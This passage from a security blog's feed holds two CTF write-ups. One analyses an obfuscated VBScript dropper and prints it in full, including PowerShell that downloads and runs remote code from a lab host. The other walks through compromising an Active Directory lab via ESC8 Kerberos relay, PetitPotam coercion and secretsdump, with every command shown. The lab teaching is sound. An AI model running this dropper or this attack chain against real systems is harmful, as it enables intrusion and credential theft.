    <span class="hljs-attribute">OCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF</span>.rUN Chr(<span class="hljs-number">34</span>) &amp; OCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF.eXpanDEnVIroNMENtSTRinGs(Chr(&amp;H<span class="hljs-number">25</span>) &amp; ChrW(&amp;H<span class="hljs-number">53</span>) &amp; Chr(&amp;H<span class="hljs-number">79</span>) &amp; ChrW(&amp;H<span class="hljs-number">73</span>) &amp; ChrW(&amp;H<span class="hljs-number">54</span>) &amp; ChrW(&amp;H<span class="hljs-number">65</span>) &amp; ChrW(&amp;H<span class="hljs-number">6</span>D) &amp; Chr(&amp;H<span class="hljs-number">52</span>) &amp; ChrW(&amp;H<span class="hljs-number">4</span>F) &amp; Chr(&amp;H<span class="hljs-number">6</span>F) &amp; ChrW(&amp;H<span class="hljs-number">74</span>) &amp; ChrW(&amp;H<span class="hljs-number">25</span>)) &amp; <span class="hljs-string">"\SYStEM32\WINdOwSpoweRSheLL\V1.0\PoWERshElL.ExE"</span> &amp; chr(<span class="hljs-number">34</span>) &amp; cHR(<span class="hljs-number">32</span>) &amp; Chr(<span class="hljs-number">34</span>) &amp; PoRkkqjVbkMUvpXeCSCGmsOdJUQlGcAUJUngSiqyuVjPViqbHZeseLYFNCcVukIEhbtljkiiGoWeAZgVghNVJcDhcTBgSDyFQLePsWgOtrScsnNAJtyDlRZAjVhhhHpMuZogCVFdqfUXGCHHWJhGRHGwRIRmwaFPATUzTJaRdFWdyskcEhJsKYUMGjyLSiMARuQhBMMSrUUKbmPBmNYbWukinAYRFHhKaFYvIHlVM &amp; CHr(<span class="hljs-number">34</span>), <span class="hljs-number">0</span>
    <span class="hljs-attribute">Set</span> OCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF = NOThING
    <span class="hljs-attribute">SeLf</span>.CloSE
<span class="hljs-section">&lt;/script&gt;</span>
</code></pre>
<p>As you can see in the above script that</p>
<pre><code class="lang-apache"><span class="hljs-attribute">PowErShEll</span> -ExBYPaSS -NOP -W <span class="hljs-number">1</span> -C DEVIcEcrEDEnTIAlDePlOYmENt.EXe; iex($(iEX('[SYsTeM.TeXt.EnCoding]'[chAr]<span class="hljs-number">0</span>X<span class="hljs-number">3</span>A[CHAr]<span class="hljs-number">0</span>X<span class="hljs-number">3</span>A'uTf<span class="hljs-number">8</span>.geTSTring([SYstem.ConVERT]'[chAR]<span class="hljs-number">58</span>[CHAR]<span class="hljs-number">58</span>'fRoMBASE<span class="hljs-number">64</span>string(
</code></pre>
<p>It shows that the string inside that is base64encoded so let’s decode it in cyberchef so the base64encoded string is</p>
<pre><code class="lang-apache"><span class="hljs-attribute">JGVhNmM4bXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlckRlZmluSVRJb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbU9OLmRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBHLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENmbXIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYVV2eVZCUkQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZmWWxEb2wsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb0ZYckloKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiU3V4dFBJQkp4bCIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbklZcCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZWE2YzhtclQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly93YW50ZWQuYWxpdmUuaHRiLzM1L3dhbnRlZC50SUYiLCIkZU52OkFQUERBVEFcd2FudGVkLnZicyIsMCwwKTtTVEFSdC1zbGVlUCgzKTtzdEFSdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW5WOkFQUERBVEFcd2FudGVkLnZicyI</span>=
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766830289709/8cd78a53-d881-4505-b9ee-0e57209a6fc0.png" alt class="image--center mx-auto" /></p>
<p>It successfully decoded and it points to Download File from <strong>http://wanted.alive.htb/35/wanted.tIF</strong> so let’s grab the <strong>wanted.tIF</strong> file real quick<br /><strong><mark>NOTE: here for downloading the file, In place of http://wanted.alive.htb/ use the instance IP and Port If you are using Windows otherwise add the IP in /etc/hosts in Linux</mark></strong></p>
<p>So after visiting the URL above we can get the file now let’s inspect its content now using <strong>cat wanted.tIF</strong></p>
<p>On inspecting the <strong>.tIF</strong> file you will find the below part of code in the middle</p>
<pre><code class="lang-apache"><span class="hljs-attribute">If</span> Not mesor() Then

        <span class="hljs-attribute">On</span> Error Resume Next

        <span class="hljs-attribute">latifoliado</span> = <span class="hljs-string">"U2V0LUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLVNjb3BlIFByb2Nlc3MgLUZvcmNlOyBbU3lzdGVtLk5ldC5TZd2FudGVkCgXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VydmVyQ2VydGlmaWNhdGVWYWxpZGF0aW9uQ2FsbGJhY2sgPSB7JHRydWV9O1td2FudGVkCgTe"</span>
        <span class="hljs-attribute">latifoliado</span> = latifoliado &amp; <span class="hljs-string">"XN0ZW0uTmV0LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3RvY29sID0gW1N5c3RlbS5OZXQuU2Vydmld2FudGVkCgjZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgLWJvciAzMDcyOyBpZXggKFtTeXN0ZW0uVGV4dC5FbmNvZd2FudGVkCgGl"</span>
        <span class="hljs-attribute">latifoliado</span> = latifoliado &amp; <span class="hljs-string">"uZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoKG5ldy1vYmplY3Qgcd2FudGVkCg3lzdGVtLm5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCdodHRwOi8vd2FudGVkLmFsaXZlLmh0Yi9jZGJhL19d2FudGVkCgyc"</span>
        <span class="hljs-attribute">latifoliado</span> = latifoliado &amp; <span class="hljs-string">"CcpKSkpd2FudGVkCgd2FudGVkCg"</span>

        <span class="hljs-attribute">Dim</span> parrana
        <span class="hljs-attribute">parrana</span> = <span class="hljs-string">"d2FudGVkCg"</span>

        <span class="hljs-attribute">Dim</span> arran
        <span class="hljs-attribute">arran</span> =<span class="hljs-string">" d2FudGVkCg  d2FudGVkCg "</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"$d2FudGVkCgCod2FudGVkCgd"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"id2FudGVkCggod2FudGVkCg "</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"d2FudGVkCg"</span> &amp; latifoliado &amp; <span class="hljs-string">"d2FudGVkCg"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"$d2FudGVkCgOWd2FudGVkCgj"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"ud2FudGVkCgxdd2FudGVkCg "</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"=d2FudGVkCg [d2FudGVkCgs"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"yd2FudGVkCgstd2FudGVkCge"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"md2FudGVkCg.Td2FudGVkCge"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"xd2FudGVkCgt.d2FudGVkCge"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"nd2FudGVkCgcod2FudGVkCgd"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"id2FudGVkCgngd2FudGVkCg]"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">":d2FudGVkCg:Ud2FudGVkCgT"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"Fd2FudGVkCg8.d2FudGVkCgG"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"ed2FudGVkCgtSd2FudGVkCgt"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"rd2FudGVkCgind2FudGVkCgg"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"(d2FudGVkCg[sd2FudGVkCgy"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"sd2FudGVkCgted2FudGVkCgm"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">".d2FudGVkCgCod2FudGVkCgn"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"vd2FudGVkCgerd2FudGVkCgt"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"]d2FudGVkCg::d2FudGVkCgF"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"rd2FudGVkCgomd2FudGVkCgb"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"ad2FudGVkCgsed2FudGVkCg6"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"4d2FudGVkCgStd2FudGVkCgr"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"id2FudGVkCgngd2FudGVkCg("</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"$d2FudGVkCgcod2FudGVkCgd"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"id2FudGVkCggod2FudGVkCg)"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">")d2FudGVkCg;pd2FudGVkCgo"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"wd2FudGVkCgerd2FudGVkCgs"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"hd2FudGVkCgeld2FudGVkCgl"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">".d2FudGVkCgexd2FudGVkCge"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">" d2FudGVkCg-wd2FudGVkCgi"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"nd2FudGVkCgdod2FudGVkCgw"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"sd2FudGVkCgtyd2FudGVkCgl"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"ed2FudGVkCg hd2FudGVkCgi"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"dd2FudGVkCgded2FudGVkCgn"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">" d2FudGVkCg-ed2FudGVkCgx"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"ed2FudGVkCgcud2FudGVkCgt"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"id2FudGVkCgond2FudGVkCgp"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"od2FudGVkCglid2FudGVkCgc"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"yd2FudGVkCg bd2FudGVkCgy"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"pd2FudGVkCgasd2FudGVkCgs"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">" d2FudGVkCg-Nd2FudGVkCgo"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"Pd2FudGVkCgrod2FudGVkCgf"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"id2FudGVkCgled2FudGVkCg "</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"-d2FudGVkCgcod2FudGVkCgm"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"md2FudGVkCgand2FudGVkCgd"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">" d2FudGVkCg$Od2FudGVkCgW"</span>
        <span class="hljs-attribute">arran</span> = arran &amp; <span class="hljs-string">"jd2FudGVkCguxd2FudGVkCgD"</span>
        <span class="hljs-attribute">arran</span> = descortinar(arran, parrana, <span class="hljs-string">""</span>)

        <span class="hljs-attribute">Dim</span> sandareso
        <span class="hljs-attribute">sandareso</span> = <span class="hljs-string">"pd2FudGVkCgo"</span>
        <span class="hljs-attribute">sandareso</span> = sandareso &amp; <span class="hljs-string">"wd2FudGVkCgr"</span>
        <span class="hljs-attribute">sandareso</span> = sandareso &amp; <span class="hljs-string">"sd2FudGVkCge"</span>
        <span class="hljs-attribute">sandareso</span> = sandareso &amp; <span class="hljs-string">"ld2FudGVkCgl -cd2FudGVkCgommad2FudGVkCgnd "</span>
        <span class="hljs-attribute">sandareso</span> = descortinar(sandareso, parrana, <span class="hljs-string">""</span>)

        <span class="hljs-attribute">sandareso</span> = sandareso &amp; arran

        <span class="hljs-attribute">Dim</span> incentiva
        <span class="hljs-attribute">Set</span> incentiva = CreateObject(<span class="hljs-string">"WScript.Shell"</span>)
        <span class="hljs-attribute">incentiva</span>.Run sandareso, <span class="hljs-number">0</span>, False 
        <span class="hljs-attribute">WScript</span>.Quit(rumbo)

<span class="hljs-attribute">End</span> If
</code></pre>
<p>At first glance, it looked like random garbage, but on closer inspection it was base64 sprinkled with noise markers (the string <code>d2FudGVkCg</code>).<br />These markers were intentionally inserted to break up the <strong>first four line base64 encoded payload</strong> and prevent direct decoding, The VBScript logic was essentially concatenating these fragments into a single base64 string, then passing it to a decoding function.</p>
<p>To recover the real payload manually, I Collected all the fragments into one string, Removed every occurrence of the marker <code>d2FudGVkCg</code> and made sure the result was valid base64 and decoded it. This process can be easily reproduced in CyberChef by using <strong><em>Find&amp;Replace</em></strong> (replace <code>d2FudGVkCg</code> with nothing) followed by a <strong><em>From Base64</em></strong> operation.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766830955505/8c773992-ae2d-4ba6-b5e3-d9e332a980b6.png" alt class="image--center mx-auto" /></p>
<p>So you can either do it using Find / Replace But I prefer <strong>Manual Way</strong> to avoid any problem<br />So the string we got after cleaning is</p>
<pre><code class="lang-apache"><span class="hljs-attribute">U2V0LUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLVNjb3BlIFByb2Nlc3MgLUZvcmNlOyBbU3lzdGVtLk5ldC5TZd2FudGVkCgXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VydmVyQ2VydGlmaWNhdGVWYWxpZGF0aW9uQ2FsbGJhY2sgPSB7JHRydWV9O1td2FudGVkCgTeXN0ZW0uTmV0LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3RvY29sID0gW1N5c3RlbS5OZXQuU2Vydmld2FudGVkCgjZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgLWJvciAzMDcyOyBpZXggKFtTeXN0ZW0uVGV4dC5FbmNvZd2FudGVkCgGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoKG5ldy1vYmplY3Qgcd2FudGVkCg3lzdGVtLm5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCdodHRwOi8vd2FudGVkLmFsaXZlLmh0Yi9jZGJhL19d2FudGVkCgycCcpKSkpd2FudGVkCgd2FudGVkCg</span>
</code></pre>
<p>Now we have to remove the string that is setted to avoid direct decoding which is <strong>d2FudGVkCg</strong><br />We can use Cyberchef for it</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766831253275/9582b5e5-b9ea-4520-971b-624b333f694b.png" alt class="image--center mx-auto" /></p>
<p>Now we got the decoded message in which it is pointing towards another web address let’s visit that</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766831370676/b96d7f47-e9b1-4263-9e6c-74dff599ef42.png" alt /></p>
<p>And BOOM! we got our Flag!!!</p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766831469798/8d7ae4ff-307e-4015-8665-74edc7293b97.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[VulnCicada]]></title><description><![CDATA[OVERVIEW


So we have given IP address of the machine so Let’s head to Nmap to scan this IP
ENUMERATION


So these are the ports open and domain and domain controller name Be sure to add these into /etc/hosts
So Port 2049 caught my eye which has nfs ...]]></description><link>https://blog.reapsec.com/vulncicada-htb</link><guid isPermaLink="true">https://blog.reapsec.com/vulncicada-htb</guid><category><![CDATA[Vulncicada]]></category><category><![CDATA[cicada]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[HTB Machines]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[#walkthrough]]></category><category><![CDATA[vulnlab]]></category><category><![CDATA[medium]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Thu, 25 Dec 2025 10:11:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1766648909155/40f73825-a13b-4a03-93d4-99d4afcec5e6.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766649061136/1407b1a6-b35d-4b25-ba03-46fe18523be0.png" alt class="image--center mx-auto" /></p>
<p>So we have given IP address of the machine so Let’s head to Nmap to scan this IP</p>
<h2 id="heading-enumeration">ENUMERATION</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766649441505/25e4c855-57ef-42e2-a289-299df59f28cc.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766649596526/5c60005e-7a5b-4323-90cc-87aeeba75121.png" alt class="image--center mx-auto" /></p>
<p>So these are the ports open and domain and domain controller name Be sure to add these into <strong><mark>/etc/hosts</mark></strong></p>
<p>So Port 2049 caught my eye which has nfs service opened so i quickly performed</p>
<pre><code class="lang-apache"><span class="hljs-attribute">showmount</span> -e <span class="hljs-number">10.129.234.48</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766649779763/bf08c88f-db89-4fd8-a2f8-e4b608b50d0f.png" alt /></p>
<p>It showed <strong>/profiles directory so let’s mount it using mount</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">mkdir</span> /mnt/profiles
<span class="hljs-attribute">mount</span> -t nfs <span class="hljs-number">10.129.234.48</span>:/profiles /mnt/profiles
</code></pre>
<p>After it gets mounted lets head to <strong>/mnt/profiles</strong> and enumerate further</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766650045998/a32deec9-4e79-461d-bf3a-9ec19bff9992.png" alt /></p>
<p>We found 14 user directories in which only <strong>Administrator</strong> and <strong>Rosie.Powell</strong> has some files so let’s copy those two user directories to somewhere else to see the files more thoroughly</p>
<p>On Inspecting Administrator Directory we found</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766650256156/708a4ac8-2a3c-4469-9a50-05ddfb63bf63.png" alt /></p>
<p>Let’s check out <strong>vacation.png</strong> and other files too</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766650354439/4dd6c7dd-6f7d-428a-b956-02d3c5b1e8b8.png" alt class="image--center mx-auto" /></p>
<p>Doesn’t seemed to have any information nor in image or in other files , So let’s check Rosie.Powell user directory now</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766650541442/c58ed202-09cb-4cba-9388-a1c1780a0db3.png" alt /></p>
<p>It also have an image named as <strong>marketing.png</strong> so let’s open the image and check out other files too</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766650616288/9eca11ea-4bf8-4f25-98a7-43821569e221.png" alt class="image--center mx-auto" /></p>
<p>While other files didn’t gave any info the <strong>marketing.png</strong> image revealed a password like string <strong><mark>Cicada123</mark></strong></p>
<hr />
<h2 id="heading-exploitation">EXPLOITATION</h2>
<p>Now we have user and a password let’s try another services such as SMB, LDAP, WEB, RDP etc</p>
<p>On checking Website on port 80 we found nothing else then <strong>IIS Window Web Server</strong> and a non accessible <strong>/CertEnroll</strong> directory So Now Let’s move to Other Services.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766651402474/84be2d9c-8700-4892-ba2b-7ad3d7370370.png" alt class="image--center mx-auto" /></p>
<p>We realized that SMB,NTLM has disabled so there is no other way rather then Kerberos authentication so let’s do that with the help of -k flag</p>
<pre><code class="lang-apache"><span class="hljs-attribute">nxc</span> smb <span class="hljs-number">10.129.234.48</span> -u Rosie.Powell -p Cicada<span class="hljs-number">123</span> -k
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766652559797/89d169f0-8860-40bf-a647-4c933ff79bdb.png" alt class="image--center mx-auto" /></p>
<p>So we can see we can now do SMB assigning and can access shares So I saw a share named as <strong>CertEnroll</strong> which we saw during our web enumeration so as the name is it suggest towards ADCS (Active Directory Certificate Services) so Let’s run <a target="_blank" href="https://github.com/ly4k/Certipy/wiki/04-%E2%80%90-Installation"><strong>Certipy</strong></a> to see any vulnerable templates are there or not.</p>
<p>First Let’s grab the ticket of Rosie.Powell user so that Kerberos authentication will be easier in future For this we can use impacket-GetTGT</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766653241887/5f610fda-ed23-4415-ba5f-3a9715da22ea.png" alt class="image--center mx-auto" /></p>
<p>Now lets run Certipy but before that change your <strong><mark> /etc/krb5.conf </mark></strong> file to the following one because we are using Kerberos authentication so its good to change it to avoid any issues</p>
<pre><code class="lang-apache">[<span class="hljs-attribute">libdefaults</span>]
    <span class="hljs-attribute">default_realm</span> = CICADA.VL
    <span class="hljs-attribute">dns_lookup_realm</span> = false
    <span class="hljs-attribute">dns_lookup_kdc</span> = true

[<span class="hljs-attribute">realms</span>]
    <span class="hljs-attribute">CICADA</span>.VL = {
        <span class="hljs-attribute">kdc</span> = <span class="hljs-number">10.129.234.48</span>
        <span class="hljs-attribute">admin_server</span> = <span class="hljs-number">10.129.234.48</span>
    }

[<span class="hljs-attribute">domain_realm</span>]
    .<span class="hljs-attribute">cicada</span>.vl = CICADA.VL
    <span class="hljs-attribute">cicada</span>.vl = CICADA.VL
</code></pre>
<pre><code class="lang-apache"><span class="hljs-attribute">certipy</span> find -vulnerable -u Rosie.Powell@cicada.vl -dc-ip <span class="hljs-number">10.129.234.48</span> -dc-host DC-JPQ<span class="hljs-number">225</span>.cicada.vl -k -no-pass -stdout
</code></pre>
<p><strong><mark>NOTE: If you are running Certipy in virtual environment then you have to check the ticket using klist to ensure the ticket is there if it says no valid ticket then export the ticket again inside the virtual environment</mark></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766654095709/40407415-2ef6-4da8-b850-74a67089962b.png" alt class="image--center mx-auto" /></p>
<p><strong>Here we go we found out ESC8 Vulnerability as Web Enrollment is enabled over HTTP</strong></p>
<p><strong>So what is ESC8 Let’s see something about it</strong></p>
<details><summary>ESC8 – NTLM Relay on AD CS Web Enrolment</summary><div data-type="detailsContent">ESC8 is one of the most frequently encountered exploitation scenarios in internal auditing. It presents a particularly high risk because it can be exploited without any domain account, making it a prime target for an external attacker who already has a favorable network position. The central condition for this attack is the presence of the Enrollment web service enabled on the AD CS server. This service allows a client to submit a certificate request via a web interface, typically accessible via the URL <code>http://&lt;server_name&gt;/certsrv</code>. If this service is enabled and poorly secured, it becomes possible to relay NTLM authentication from another host (such as a domain controller) to the CA server.</div></details>

<p>Now Since NTML is not enabled and NTLM self relay is also not enabled Let’s use Kerberos Relaying Over SMB to exploit this</p>
<p>Let’s Study about it using this blog <a target="_blank" href="https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx.html"><strong>BLOG</strong></a><br /><strong>We discover that we can relay Kerberos over SMB using a specific DNS entry.</strong></p>
<p>First of all, we need to add the magic DNS entry and make it point back to our machine. So we will use <strong>bloodyAD</strong> for this</p>
<pre><code class="lang-apache"><span class="hljs-attribute">bloodyAD</span> -u Rosie.Powell -p Cicada<span class="hljs-number">123</span> -d cicada.vl -k --host DC-JPQ<span class="hljs-number">225</span>.cicada.vl add dnsRecord DC-JPQ<span class="hljs-number">2251</span>UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA YOUR_IP
</code></pre>
<p>After you added the DNS entry then we can setup a relay using Certipy once again <strong><mark>(Ensures you use latest Certipy which have -relay argument)</mark> you can use the above Certipy which I gave earlier</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">certipy</span> relay -target 'http://dc-jpq<span class="hljs-number">225</span>.cicada.vl/' -template DomainController
</code></pre>
<p><strong>Finally, we can use nxc to coerce the remote machine to authenticate back to us using Kerberos using PetitPotam method.</strong></p>
<p><strong>So in another terminal do</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">nxc</span> smb DC-JPQ<span class="hljs-number">225</span>.cicada.vl  -u Rosie.Powell -p Cicada<span class="hljs-number">123</span> -k -M coerce_plus -o LISTENER=DC-JPQ<span class="hljs-number">2251</span>UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766655401411/2a013047-84e9-40e9-bfbc-27da90b282b7.png" alt class="image--center mx-auto" /></p>
<p>Let’s observe the output in our relaying terminal</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766655404066/71386f98-717a-4e26-8915-3cdd546a3b5b.png" alt class="image--center mx-auto" /></p>
<p><strong>As you can see we got the certificate and don’t worry if it fails try again the Certipy command on both sides as shown above you will get it</strong></p>
<p><strong><mark>NOTE: If you are getting Attributes error that yours is 0 and it should be between 1 and 64 then you are either using outdated Certipy or using kali packaged Certipy(certipy-ad) so i recommend to use the above Certipy in virtual environment like me to avoid this error</mark></strong></p>
<p>Now we got the certificate let’s use that to get Domain Controller NTLM hash</p>
<pre><code class="lang-apache"><span class="hljs-attribute">certipy</span> auth -pfx dc-jpq<span class="hljs-number">225</span>.pfx -dc-ip <span class="hljs-number">10.129.234.48</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766655794535/ca1b3029-5215-4701-8842-2695c5be4ed5.png" alt class="image--center mx-auto" /></p>
<p>Now we have the NTLM hash of the machine account. Since NTLM authentication is disabled, can use the ccache file and dump the hashes of the Administrator user.</p>
<pre><code class="lang-apache"><span class="hljs-attribute">export</span> KRB<span class="hljs-number">5</span>CCNAME=dc-jpq<span class="hljs-number">225</span>.ccache

<span class="hljs-attribute">secretsdump</span>.py -k -no-pass dc-jpq<span class="hljs-number">225</span>.cicada.vl -just-dc-user Administrator
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766656078913/c62c9711-6d42-411c-80c5-7472eabe9ae7.png" alt class="image--center mx-auto" /></p>
<p>Here We GO!!</p>
<hr />
<h2 id="heading-flags">FLAGS</h2>
